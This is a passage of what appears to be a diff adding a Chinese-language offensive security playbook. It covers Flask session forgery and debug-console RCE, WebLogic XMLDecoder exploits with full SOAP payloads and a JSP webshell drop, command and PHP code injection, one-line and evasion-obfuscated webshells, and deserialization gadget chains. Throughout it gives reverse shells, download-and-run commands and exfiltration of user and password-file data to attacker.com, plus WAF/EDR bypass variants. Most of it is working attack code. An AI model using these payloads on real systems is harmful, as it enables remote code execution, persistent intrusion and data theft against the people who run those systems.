serializer = URLSafeTimedSerializer(secret_key)
|
|
1964
|
+
return serializer.loads(cookie_value)
|
|
1965
|
+
|
|
1966
|
+
# 签名伪造
|
|
1967
|
+
def encode_session(data, secret_key):
|
|
1968
|
+
serializer = URLSafeTimedSerializer(secret_key)
|
|
1969
|
+
return serializer.dumps(data)
|
|
1970
|
+
|
|
1971
|
+
# 伪造管理员Session
|
|
1972
|
+
fake_session = encode_session({"user_id": 1, "is_admin": True}, SECRET_KEY)
|
|
1973
|
+
```
|
|
1974
|
+
|
|
1975
|
+
**3. 3. 调试模式RCE**
|
|
1976
|
+
_调试模式RCE_
|
|
1977
|
+
```
|
|
1978
|
+
# Flask Debug模式
|
|
1979
|
+
# 访问/debug或/console
|
|
1980
|
+
# 可以执行任意Python代码
|
|
1981
|
+
|
|
1982
|
+
# Werkzeug Debug Console
|
|
1983
|
+
# 访问:
|
|
1984
|
+
http://target/console
|
|
1985
|
+
|
|
1986
|
+
# 执行代码
|
|
1987
|
+
import os; os.system('id')
|
|
1988
|
+
__import__('os').system('id')
|
|
1989
|
+
```
|
|
1990
|
+
|
|
1991
|
+
**4. 4. PIN码绕过**
|
|
1992
|
+
_PIN码绕过_
|
|
1993
|
+
```
|
|
1994
|
+
# Flask Debug PIN
|
|
1995
|
+
# 需要获取:
|
|
1996
|
+
# 1. 用户名
|
|
1997
|
+
# 2. modname
|
|
1998
|
+
# 3. app路径
|
|
1999
|
+
# 4. MAC地址
|
|
2000
|
+
|
|
2001
|
+
# 读取信息
|
|
2002
|
+
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
|
|
2003
|
+
{{config.__class__.__init__.__globals__['os'].environ}}
|
|
2004
|
+
|
|
2005
|
+
# 计算PIN
|
|
2006
|
+
# 使用脚本计算Werkzeug PIN
|
|
2007
|
+
```
|
|
2008
|
+
|
|
2009
|
+
**WAF/EDR 绕过变体:**
|
|
2010
|
+
|
|
2011
|
+
**1. SSTI绕过**
|
|
2012
|
+
_SSTI绕过_
|
|
2013
|
+
```
|
|
2014
|
+
# 过滤绕过
|
|
2015
|
+
# 使用attr
|
|
2016
|
+
{{''|attr('__class__')|attr('__mro__')}}
|
|
2017
|
+
|
|
2018
|
+
# 使用request
|
|
2019
|
+
{{request|attr('application')|attr('__globals__')}}
|
|
2020
|
+
|
|
2021
|
+
# 使用字符串拼接
|
|
2022
|
+
{{'__cla'~'ss__'}}
|
|
2023
|
+
|
|
2024
|
+
# 使用编码
|
|
2025
|
+
{{''['\x5f\x5fclass\x5f\x5f']}}
|
|
2026
|
+
```
|
|
2027
|
+
|
|
2028
|
+
---
|
|
2029
|
+
|
|
2030
|
+
### WebLogic XMLDecoder `weblogic-xmldecoder`
|
|
2031
|
+
利用WebLogic Server中XMLDecoder反序列化漏洞(CVE-2017-10271/CVE-2017-3506)实现远程代码执行
|
|
2032
|
+
子类:**WebLogic** · tags: `weblogic` `xmldecoder` `rce`
|
|
2033
|
+
|
|
2034
|
+
**前置条件:** 目标运行WebLogic Server;存在/wls-wsat/或/_async/路径;XMLDecoder组件未被禁用;WebLogic版本存在漏洞(10.3.6.0/12.1.3.0等)
|
|
2035
|
+
|
|
2036
|
+
**攻击链:**
|
|
2037
|
+
|
|
2038
|
+
**1. 探测WebLogic版本和路径** _[linux]_
|
|
2039
|
+
_探测WebLogic服务器版本、开放端口和可利用的端点_
|
|
2040
|
+
```
|
|
2041
|
+
# 检测WebLogic控制台
|
|
2042
|
+
curl -sI "http://target:7001/console/" | head -5
|
|
2043
|
+
|
|
2044
|
+
# 检测wls-wsat端点(CVE-2017-10271)
|
|
2045
|
+
curl -s "http://target:7001/wls-wsat/CoordinatorPortType" | head -20
|
|
2046
|
+
|
|
2047
|
+
# 检测AsyncResponseService端点(CVE-2019-2725)
|
|
2048
|
+
curl -s "http://target:7001/_async/AsyncResponseService" | head -20
|
|
2049
|
+
|
|
2050
|
+
# 检测T3协议
|
|
2051
|
+
nmap -sV -p 7001 --script weblogic-t3-info target
|
|
2052
|
+
```
|
|
2053
|
+
|
|
2054
|
+
**2. CVE-2017-10271 XMLDecoder RCE** _[linux]_
|
|
2055
|
+
_通过SOAP请求中的WorkContext注入XMLDecoder反序列化payload实现命令执行_
|
|
2056
|
+
```
|
|
2057
|
+
curl -v "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
2058
|
+
<soapenv:Header>
|
|
2059
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2060
|
+
<java version="1.8.0" class="java.beans.XMLDecoder">
|
|
2061
|
+
<void class="java.lang.ProcessBuilder">
|
|
2062
|
+
<array class="java.lang.String" length="3">
|
|
2063
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
2064
|
+
<void index="1"><string>-c</string></void>
|
|
2065
|
+
<void index="2"><string>id > /tmp/test_rce.txt</string></void>
|
|
2066
|
+
</array>
|
|
2067
|
+
<void method="start"/>
|
|
2068
|
+
</void>
|
|
2069
|
+
</java>
|
|
2070
|
+
</work:WorkContext>
|
|
2071
|
+
</soapenv:Header>
|
|
2072
|
+
<soapenv:Body/>
|
|
2073
|
+
</soapenv:Envelope>'
|
|
2074
|
+
```
|
|
2075
|
+
|
|
2076
|
+
**3. CVE-2019-2725 反序列化RCE** _[linux]_
|
|
2077
|
+
_利用_async端点的反序列化漏洞执行外带验证(OOB)_
|
|
2078
|
+
```
|
|
2079
|
+
curl -v "http://target:7001/_async/AsyncResponseService" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
|
|
2080
|
+
<soapenv:Header>
|
|
2081
|
+
<wsa:Action>xx</wsa:Action>
|
|
2082
|
+
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
|
2083
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2084
|
+
<void class="java.lang.ProcessBuilder">
|
|
2085
|
+
<array class="java.lang.String" length="3">
|
|
2086
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
2087
|
+
<void index="1"><string>-c</string></void>
|
|
2088
|
+
<void index="2"><string>curl http://attacker.com/callback?rce=success</string></void>
|
|
2089
|
+
</array>
|
|
2090
|
+
<void method="start"/>
|
|
2091
|
+
</void>
|
|
2092
|
+
</work:WorkContext>
|
|
2093
|
+
</soapenv:Header>
|
|
2094
|
+
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
|
|
2095
|
+
</soapenv:Envelope>'
|
|
2096
|
+
```
|
|
2097
|
+
|
|
2098
|
+
**4. 写入Webshell获取持久权限** _[linux]_
|
|
2099
|
+
_利用XMLDecoder的PrintWriter写入JSP webshell到WebLogic部署目录_
|
|
2100
|
+
```
|
|
2101
|
+
# 通过XMLDecoder写入JSP Webshell
|
|
2102
|
+
curl "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
2103
|
+
<soapenv:Header>
|
|
2104
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2105
|
+
<java version="1.8.0" class="java.beans.XMLDecoder">
|
|
2106
|
+
<void class="java.io.PrintWriter">
|
|
2107
|
+
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
|
|
2108
|
+
<void method="println">
|
|
2109
|
+
<string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[]b=new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>]]></string>
|
|
2110
|
+
</void>
|
|
2111
|
+
<void method="close"/>
|
|
2112
|
+
</void>
|
|
2113
|
+
</java>
|
|
2114
|
+
</work:WorkContext>
|
|
2115
|
+
</soapenv:Header>
|
|
2116
|
+
<soapenv:Body/>
|
|
2117
|
+
</soapenv:Envelope>'
|
|
2118
|
+
|
|
2119
|
+
# 验证Webshell
|
|
2120
|
+
curl "http://target:7001/bea_wls_internal/test.jsp?pwd=test&cmd=id"
|
|
2121
|
+
```
|
|
2122
|
+
|
|
2123
|
+
**WAF/EDR 绕过变体:**
|
|
2124
|
+
|
|
2125
|
+
**1. 备用反序列化端点**
|
|
2126
|
+
_尝试WebLogic WLS-WSAT组件的多个不同SOAP端点,部分端点可能未被WAF规则覆盖_
|
|
2127
|
+
```
|
|
2128
|
+
# 尝试不同的XMLDecoder入口
|
|
2129
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType
|
|
2130
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType11
|
|
2131
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/ParticipantPortType
|
|
2132
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationPortTypeRPC
|
|
2133
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationRequesterPortType
|
|
2134
|
+
```
|
|
2135
|
+
|
|
2136
|
+
**2. T3/IIOP协议绕过HTTP层WAF**
|
|
2137
|
+
_使用T3或IIOP协议发送反序列化payload,绕过仅检测HTTP流量的WAF_
|
|
2138
|
+
```
|
|
2139
|
+
# T3协议利用(绕过HTTP层WAF)
|
|
2140
|
+
python3 weblogic_t3_exploit.py -t target:7001 -c "id"
|
|
2141
|
+
|
|
2142
|
+
# IIOP协议利用
|
|
2143
|
+
python3 weblogic_iiop_exploit.py -t target:7001 -c "whoami"
|
|
2144
|
+
|
|
2145
|
+
# 使用ysoserial生成T3 payload
|
|
2146
|
+
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" | python3 t3_send.py target 7001
|
|
2147
|
+
```
|
|
2148
|
+
|
|
2149
|
+
**3. XML编码混淆绕过**
|
|
2150
|
+
_通过XML编码(UTF-16/CDATA/实体编码)混淆payload内容绕过基于内容匹配的WAF_
|
|
2151
|
+
```
|
|
2152
|
+
<!-- UTF-16编码绕过 -->
|
|
2153
|
+
<?xml version="1.0" encoding="UTF-16"?>
|
|
2154
|
+
|
|
2155
|
+
<!-- CDATA包裹关键字 -->
|
|
2156
|
+
<java>
|
|
2157
|
+
<object class="java.lang.ProcessBuilder">
|
|
2158
|
+
<array class="java.lang.String" length="3">
|
|
2159
|
+
<void index="0"><string><![CDATA[/bin/sh]]></string></void>
|
|
2160
|
+
<void index="1"><string><![CDATA[-c]]></string></void>
|
|
2161
|
+
<void index="2"><string><![CDATA[id]]></string></void>
|
|
2162
|
+
</array>
|
|
2163
|
+
<void method="start"/>
|
|
2164
|
+
</object>
|
|
2165
|
+
</java>
|
|
2166
|
+
```
|
|
2167
|
+
|
|
2168
|
+
---
|
|
2169
|
+
|
|
2170
|
+
### · RCE远程代码执行
|
|
2171
|
+
|
|
2172
|
+
### 命令注入 `rce-command-injection`
|
|
2173
|
+
操作系统命令注入攻击技术
|
|
2174
|
+
子类:**命令注入** · tags: `rce` `command` `injection` `os`
|
|
2175
|
+
|
|
2176
|
+
**前置条件:** 存在系统命令执行功能;用户输入未过滤
|
|
2177
|
+
|
|
2178
|
+
**攻击链:**
|
|
2179
|
+
|
|
2180
|
+
**1. 1. 探测命令注入**
|
|
2181
|
+
_探测命令注入点_
|
|
2182
|
+
```
|
|
2183
|
+
; id
|
|
2184
|
+
| id
|
|
2185
|
+
`id`
|
|
2186
|
+
$(id)
|
|
2187
|
+
&& id
|
|
2188
|
+
|| id
|
|
2189
|
+
test;id
|
|
2190
|
+
test|id
|
|
2191
|
+
```
|
|
2192
|
+
|
|
2193
|
+
**2. 2. Linux命令注入** _[linux]_
|
|
2194
|
+
_Linux系统命令注入_
|
|
2195
|
+
```
|
|
2196
|
+
; whoami
|
|
2197
|
+
; id
|
|
2198
|
+
; cat /etc/passwd
|
|
2199
|
+
; ls -la /
|
|
2200
|
+
; nc -e /bin/bash attacker.com 4444
|
|
2201
|
+
; bash -i >& /dev/tcp/attacker/4444 0>&1
|
|
2202
|
+
```
|
|
2203
|
+
|
|
2204
|
+
**3. 3. Windows命令注入** _[windows]_
|
|
2205
|
+
_Windows系统命令注入_
|
|
2206
|
+
```
|
|
2207
|
+
& whoami
|
|
2208
|
+
& dir
|
|
2209
|
+
& type C:\windows\win.ini
|
|
2210
|
+
& certutil -urlcache -split -f http://attacker/shell.exe shell.exe & shell.exe
|
|
2211
|
+
& powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')" # security-allowlist: SEC005
|
|
2212
|
+
```
|
|
2213
|
+
|
|
2214
|
+
**4. 4. 盲命令注入**
|
|
2215
|
+
_盲命令注入探测_
|
|
2216
|
+
```
|
|
2217
|
+
; sleep 5
|
|
2218
|
+
; ping -c 5 attacker.com
|
|
2219
|
+
& timeout 5
|
|
2220
|
+
通过响应时间差异判断命令是否执行
|
|
2221
|
+
```
|
|
2222
|
+
|
|
2223
|
+
**5. 5. 外带数据** _[linux]_
|
|
2224
|
+
_通过外带通道获取数据_
|
|
2225
|
+
```
|
|
2226
|
+
; curl http://attacker.com/?data=$(whoami)
|
|
2227
|
+
; wget http://attacker.com/?data=$(id|base64)
|
|
2228
|
+
; nslookup $(whoami).attacker.com
|
|
2229
|
+
; ping $(whoami | xxd -p).attacker.com
|
|
2230
|
+
```
|
|
2231
|
+
|
|
2232
|
+
**WAF/EDR 绕过变体:**
|
|
2233
|
+
|
|
2234
|
+
**1. 空格绕过** _[linux]_
|
|
2235
|
+
_绕过空格过滤_
|
|
2236
|
+
```
|
|
2237
|
+
;{cat,/etc/passwd}
|
|
2238
|
+
;cat$IFS/etc/passwd
|
|
2239
|
+
;cat</etc/passwd
|
|
2240
|
+
;cat%09/etc/passwd
|
|
2241
|
+
;cat${IFS}/etc/passwd
|
|
2242
|
+
```
|
|
2243
|
+
|
|
2244
|
+
**2. 关键字绕过** _[linux]_
|
|
2245
|
+
_绕过关键字过滤_
|
|
2246
|
+
```
|
|
2247
|
+
; c''at /etc/passwd
|
|
2248
|
+
; c""at /etc/passwd
|
|
2249
|
+
; c\at /etc/passwd
|
|
2250
|
+
; /bin/c?a?t /etc/passwd
|
|
2251
|
+
; /bin/ca[t] /etc/passwd
|
|
2252
|
+
```
|
|
2253
|
+
|
|
2254
|
+
**3. 编码绕过** _[linux]_
|
|
2255
|
+
_使用编码绕过_
|
|
2256
|
+
```
|
|
2257
|
+
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008
|
|
2258
|
+
; $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
|
|
2259
|
+
```
|
|
2260
|
+
|
|
2261
|
+
---
|
|
2262
|
+
|
|
2263
|
+
### PHP代码执行 `rce-php`
|
|
2264
|
+
PHP代码执行漏洞利用技术
|
|
2265
|
+
子类:**PHP代码执行** · tags: `rce` `php` `code` `execution`
|
|
2266
|
+
|
|
2267
|
+
**前置条件:** 存在PHP代码执行点;用户输入可控制代码
|
|
2268
|
+
|
|
2269
|
+
**攻击链:**
|
|
2270
|
+
|
|
2271
|
+
**1. 1. 常见危险函数**
|
|
2272
|
+
_PHP危险函数_
|
|
2273
|
+
```
|
|
2274
|
+
eval($_POST[cmd]);
|
|
2275
|
+
assert($_POST[cmd]);
|
|
2276
|
+
preg_replace('/a/e',$_POST[cmd],'a');
|
|
2277
|
+
create_function('',$_POST[cmd]);
|
|
2278
|
+
array_map($_POST[func],$_POST[arr]);
|
|
2279
|
+
call_user_func($_POST[func],$_POST[arg]);
|
|
2280
|
+
```
|
|
2281
|
+
|
|
2282
|
+
**2. 2. 命令执行**
|
|
2283
|
+
_PHP命令执行函数_
|
|
2284
|
+
```
|
|
2285
|
+
system('whoami');
|
|
2286
|
+
exec('whoami');
|
|
2287
|
+
shell_exec('whoami');
|
|
2288
|
+
passthru('whoami');
|
|
2289
|
+
popen('whoami','r');
|
|
2290
|
+
proc_open('whoami',$desc,$pipes);
|
|
2291
|
+
`whoami`;
|
|
2292
|
+
```
|
|
2293
|
+
|
|
2294
|
+
**3. 3. 一句话木马**
|
|
2295
|
+
_常见一句话木马_
|
|
2296
|
+
```
|
|
2297
|
+
<?php @eval($_POST[cmd]);?>
|
|
2298
|
+
<?php @assert($_POST[cmd]);?>
|
|
2299
|
+
<?php @system($_GET[cmd]);?>
|
|
2300
|
+
<?php $a=create_function('',$_POST[cmd]);$a();?>
|
|
2301
|
+
```
|
|
2302
|
+
|
|
2303
|
+
**4. 4. 免杀一句话**
|
|
2304
|
+
_免杀一句话木马_
|
|
2305
|
+
```
|
|
2306
|
+
<?php $a='ev'.$_POST[1];$a($_POST[cmd]);?>
|
|
2307
|
+
<?php $_='a'.'s'.'s'.'e'.'r'.'t';$_($_POST[cmd]);?>
|
|
2308
|
+
<?php $a=base64_decode('YXNzZXJ0');$a($_POST[cmd]);?>
|
|
2309
|
+
```
|
|
2310
|
+
|
|
2311
|
+
**WAF/EDR 绕过变体:**
|
|
2312
|
+
|
|
2313
|
+
**1. 回调函数绕过**
|
|
2314
|
+
_使用回调函数_
|
|
2315
|
+
```
|
|
2316
|
+
array_map('assert',array($_POST[cmd]));
|
|
2317
|
+
call_user_func('assert',$_POST[cmd]);
|
|
2318
|
+
$a='assert';$a($_POST[cmd]);
|
|
2319
|
+
```
|
|
2320
|
+
|
|
2321
|
+
**2. 变量函数绕过**
|
|
2322
|
+
_WAF绕过技术_
|
|
2323
|
+
```
|
|
2324
|
+
$func=$_GET['func'];$cmd=$_GET['cmd'];$func($cmd);
|
|
2325
|
+
```
|
|
2326
|
+
|
|
2327
|
+
---
|
|
2328
|
+
|
|
2329
|
+
### PHP Filter链RCE `rce-php-filter`
|
|
2330
|
+
利用PHP Filter链构造RCE
|
|
2331
|
+
子类:**PHP Filter链** · tags: `rce` `php` `filter` `chain`
|
|
2332
|
+
|
|
2333
|
+
**前置条件:** 存在文件包含漏洞;PHP版本支持Filter链
|
|
2334
|
+
|
|
2335
|
+
**攻击链:**
|
|
2336
|
+
|
|
2337
|
+
**1. 1. Filter链原理**
|
|
2338
|
+
_Filter链原理_
|
|
2339
|
+
```
|
|
2340
|
+
利用php://filter的convert.base64-decode等过滤器
|
|
2341
|
+
通过精心构造的输入,最终生成可执行代码
|
|
2342
|
+
```
|
|
2343
|
+
|
|
2344
|
+
**2. 2. 构造Filter链**
|
|
2345
|
+
_构造Filter链_
|
|
2346
|
+
```
|
|
2347
|
+
php://filter/convert.base64-decode/resource=data://,plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==
|
|
2348
|
+
使用多个过滤器串联
|
|
2349
|
+
```
|
|
2350
|
+
|
|
2351
|
+
**3. 3. 使用工具生成**
|
|
2352
|
+
_使用工具生成Filter链_
|
|
2353
|
+
```
|
|
2354
|
+
# 使用php_filter_chain_generator
|
|
2355
|
+
python3 php_filter_chain_generator.py --chain "<?php system($_GET[cmd]);?>"
|
|
2356
|
+
|
|
2357
|
+
# 输出可直接使用的Filter链
|
|
2358
|
+
```
|
|
2359
|
+
|
|
2360
|
+
**4. 4. 完整利用示例**
|
|
2361
|
+
_完整Filter链示例_
|
|
2362
|
+
```
|
|
2363
|
+
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp
|
|
2364
|
+
```
|
|
2365
|
+
|
|
2366
|
+
**WAF/EDR 绕过变体:**
|
|
2367
|
+
|
|
2368
|
+
**1. 编码绕过**
|
|
2369
|
+
_编码组合绕过_
|
|
2370
|
+
```
|
|
2371
|
+
使用不同编码过滤器组合
|
|
2372
|
+
绕过关键字检测
|
|
2373
|
+
```
|
|
2374
|
+
|
|
2375
|
+
---
|
|
2376
|
+
|
|
2377
|
+
### 盲命令注入 `rce-cmd-blind`
|
|
2378
|
+
无回显的命令注入利用技术
|
|
2379
|
+
子类:**盲命令注入** · tags: `rce` `blind` `command` `injection`
|
|
2380
|
+
|
|
2381
|
+
**前置条件:** 存在命令注入点;无直接回显
|
|
2382
|
+
|
|
2383
|
+
**攻击链:**
|
|
2384
|
+
|
|
2385
|
+
**1. 1. 时间盲注**
|
|
2386
|
+
_使用延时判断_
|
|
2387
|
+
```
|
|
2388
|
+
; sleep 5
|
|
2389
|
+
| sleep 5
|
|
2390
|
+
`sleep 5`
|
|
2391
|
+
$(sleep 5)
|
|
2392
|
+
& timeout 5
|
|
2393
|
+
观察响应时间判断命令是否执行
|
|
2394
|
+
```
|
|
2395
|
+
|
|
2396
|
+
**2. 2. DNS外带**
|
|
2397
|
+
_DNS外带数据_
|
|
2398
|
+
```
|
|
2399
|
+
; nslookup $(whoami).attacker.com
|
|
2400
|
+
; ping -c 1 $(whoami).attacker.com
|
|
2401
|
+
; host $(id | base64).attacker.com
|
|
2402
|
+
& nslookup %USERNAME%.attacker.com
|
|
2403
|
+
```
|
|
2404
|
+
|
|
2405
|
+
**3. 3. HTTP外带**
|
|
2406
|
+
_HTTP外带数据_
|
|
2407
|
+
```
|
|
2408
|
+
; curl http://attacker.com/?data=$(whoami)
|
|
2409
|
+
; wget http://attacker.com/?data=$(id)
|
|
2410
|
+
; curl -d @/etc/passwd http://attacker.com/
|
|
2411
|
+
& certutil -urlcache -f http://attacker.com/?data=%USERNAME%
|
|
2412
|
+
```
|
|
2413
|
+
|
|
2414
|
+
**4. 4. ICMP外带** _[linux]_
|
|
2415
|
+
_ICMP外带数据_
|
|
2416
|
+
```
|
|
2417
|
+
; ping -p $(echo "test" | xxd -p) attacker.com
|
|
2418
|
+
; tcpdump -i eth0 icmp
|
|
2419
|
+
在攻击者服务器监听ICMP包
|
|
2420
|
+
```
|
|
2421
|
+
|
|
2422
|
+
**5. 5. 反弹Shell**
|
|
2423
|
+
_反弹Shell_
|
|
2424
|
+
```
|
|
2425
|
+
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
|
|
2426
|
+
; nc -e /bin/bash attacker 4444
|
|
2427
|
+
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"
|
|
2428
|
+
```
|
|
2429
|
+
|
|
2430
|
+
**WAF/EDR 绕过变体:**
|
|
2431
|
+
|
|
2432
|
+
**1. 编码绕过** _[linux]_
|
|
2433
|
+
_Base64编码绕过_
|
|
2434
|
+
```
|
|
2435
|
+
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
|
|
2436
|
+
使用Base64编码绕过
|
|
2437
|
+
```
|
|
2438
|
+
|
|
2439
|
+
---
|
|
2440
|
+
|
|
2441
|
+
### 反序列化漏洞 `rce-deserialize`
|
|
2442
|
+
利用反序列化漏洞实现RCE
|
|
2443
|
+
子类:**反序列化** · tags: `rce` `deserialize` `java` `php`
|
|
2444
|
+
|
|
2445
|
+
**前置条件:** 存在反序列化点;存在可利用的Gadget链
|
|
2446
|
+
|
|
2447
|
+
**攻击链:**
|
|
2448
|
+
|
|
2449
|
+
**1. 1. Java反序列化**
|
|
2450
|
+
_Java反序列化_
|
|
2451
|
+
```
|
|
2452
|
+
# 常见漏洞组件
|
|
2453
|
+
Apache Commons Collections
|
|
2454
|
+
Spring Framework
|
|
2455
|
+
Fastjson
|
|
2456
|
+
Jackson
|
|
2457
|
+
WebLogic
|
|
2458
|
+
|
|
2459
|
+
# 使用ysoserial生成payload
|
|
2460
|
+
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash
|
|
2461
|
+
```
|
|
2462
|
+
|
|
2463
|
+
**2. 2. PHP反序列化**
|
|
2464
|
+
_PHP反序列化_
|
|
2465
|
+
```
|
|
2466
|
+
<?php
|
|
2467
|
+
class Exploit {
|
|
2468
|
+
public $cmd = "system('whoami');";
|
|
2469
|
+
function __destruct() {
|
|
2470
|
+
eval($this->cmd);
|
|
2471
|
+
}
|
|
2472
|
+
}
|
|
2473
|
+
echo serialize(new Exploit());
|
|
2474
|
+
?>
|
|
2475
|
+
生成: O:6:"Exploit":1:{s:3:"cmd";s:17:"system('whoami');";}
|
|
2476
|
+
```
|
|
2477
|
+
|
|
2478
|
+
**3. 3. Python反序列化**
|
|
2479
|
+
_Python pickle反序列化_
|
|
2480
|
+
```
|
|
2481
|
+
import pickle
|
|
2482
|
+
import os
|
|
2483
|
+
class Exploit:
|
|
2484
|
+
def __reduce__(self):
|
|
2485
|
+
return (os.system, ('whoami',))
|
|
2486
|
+
payload = pickle.dumps(Exploit())
|
|
2487
|
+
# 发送payload触发反序列化
|
|
2488
|
+
```
|
|
2489
|
+
|
|
2490
|
+
**4. 4. .NET反序列化** _[windows]_
|
|
2491
|
+
_.NET反序列化_
|
|
2492
|
+
```
|
|
2493
|
+
# 使用ysoserial.net
|
|
2494
|
+
ysoserial.net -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
|
2495
|
+
|
|
2496
|
+
# 常见格式
|
|
2497
|
+
BinaryFormatter
|
|
2498
|
+
Json.NET
|
|
2499
|
+
XMLSerializer
|
|
2500
|
+
```
|
|
2501
|
+
|
|
2502
|
+
**WAF/EDR 绕过变体:**
|
|
2503
|
+
|
|
2504
|
+
**1. 签名绕过**
|
|
2505
|
+
_绕过签名验证_
|
|
2506
|
+
```
|
|
2507
|
+
如果存在签名验证
|
|
2508
|
+
需要获取密钥重新签名
|
|
2509
|
+
```
|
|
2510
|
+
|
|
2511
|
+
---
|
|
2512
|
+
|
|
2513
|
+
### PHP反序列化 `rce-deserialize-php`
|
|
2514
|
+
PHP反序列化漏洞利用技术
|
|
2515
|
+
子类:**PHP反序列化** · tags: `rce` `php` `deserialize` `unserialize`
|
|
2516
|
+
|
|
2517
|
+
**前置条件:** 存在unserialize调用;存在可利用的类
|
|
2518
|
+
|
|
2519
|
+
**攻击链:**
|
|
2520
|
+
|
|
2521
|
+
**1. 1. 魔术方法**
|
|
2522
|
+
_PHP魔术方法_
|
|
2523
|
+
```
|
|
2524
|
+
__construct() - 对象创建时调用
|
|
2525
|
+
__destruct() - 对象销毁时调用
|
|
2526
|
+
__wakeup() - 反序列化时调用
|
|
2527
|
+
__toString() - 对象转字符串时调用
|
|
2528
|
+
__call() - 调用不存在方法时触发
|
|
2529
|
+
```
|
|
2530
|
+
|
|
2531
|
+
**2. 2. 构造POP链**
|
|
2532
|
+
_构造POP链_
|
|
2533
|
+
```
|
|
2534
|
+
<?php
|
|
2535
|
+
class Chain {
|
|
2536
|
+
public $obj;
|
|
2537
|
+
function __destruct() {
|
|
2538
|
+
$this->obj->action();
|
|
2539
|
+
}
|
|
2540
|
+
}
|
|
2541
|
+
class Action {
|
|
2542
|
+
public $cmd;
|
|
2543
|
+
function action() {
|
|
2544
|
+
system($this->cmd);
|
|
2545
|
+
}
|
|
2546
|
+
}
|
|
2547
|
+
$payload = new Chain();
|
|
2548
|
+
$payload->obj = new Action();
|
|
2549
|
+
$payload->obj->cmd = "whoami";
|
|
2550
|
+
echo serialize($payload);
|
|
2551
|
+
?>
|
|
2552
|
+
```
|
|
2553
|
+
|
|
2554
|
+
**3. 3. Phar反序列化**
|
|
2555
|
+
_Phar反序列化_
|
|
2556
|
+
```
|
|
2557
|
+
# 生成Phar文件
|
|
2558
|
+
<?php
|
|
2559
|
+
class Exploit {}
|
|
2560
|
+
$phar = new Phar('exploit.phar');
|
|
2561
|
+
$phar->startBuffering();
|
|
2562
|
+
$phar->addFromString('test.txt', 'test');
|
|
2563
|
+
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
|
2564
|
+
$o = new Exploit();
|
|
2565
|
+
$phar->setMetadata($o);
|
|
2566
|
+
$phar->stopBuffering();
|
|
2567
|
+
?>
|
|
2568
|
+
|
|
2569
|
+
# 触发反序列化
|
|
2570
|
+
phar://exploit.phar/test.txt
|
|
2571
|
+
```
|
|
2572
|
+
|
|
2573
|
+
**4. 4. Session反序列化**
|
|
2574
|
+
_Session反序列化_
|
|
2575
|
+
```
|
|
2576
|
+
# 利用Session处理器差异
|
|
2577
|
+
# php_serialize vs php_binary
|
|
2578
|
+
构造恶意Session数据触发反序列化
|
|
2579
|
+
```
|
|
2580
|
+
|
|
2581
|
+
**WAF/EDR 绕过变体:**
|
|
2582
|
+
|
|
2583
|
+
**1. 属性修饰符绕过**
|
|
2584
|
+
_属性修饰符处理_
|
|
2585
|
+
```
|
|
2586
|
+
使用public/private/protected属性
|
|
2587
|
+
注意序列化格式差异:
|
|
2588
|
+
public: s:3:"cmd"
|
|
2589
|
+
private: s:8:"\0Class\0cmd"
|
|
2590
|
+
protected: s:7:"\0*\0cmd"
|
|
2591
|
+
```
|
|
2592
|
+
|
|
2593
|
+
---
|
|
2594
|
+
|
|
2595
|
+
### Java反序列化 `rce-deserialize-java`
|
|
2596
|
+
Java反序列化漏洞利用技术
|
|
2597
|
+
子类:**Java反序列化** · tags: `rce` `java` `deserialize` `ysoserial`
|
|
2598
|
+
|
|
2599
|
+
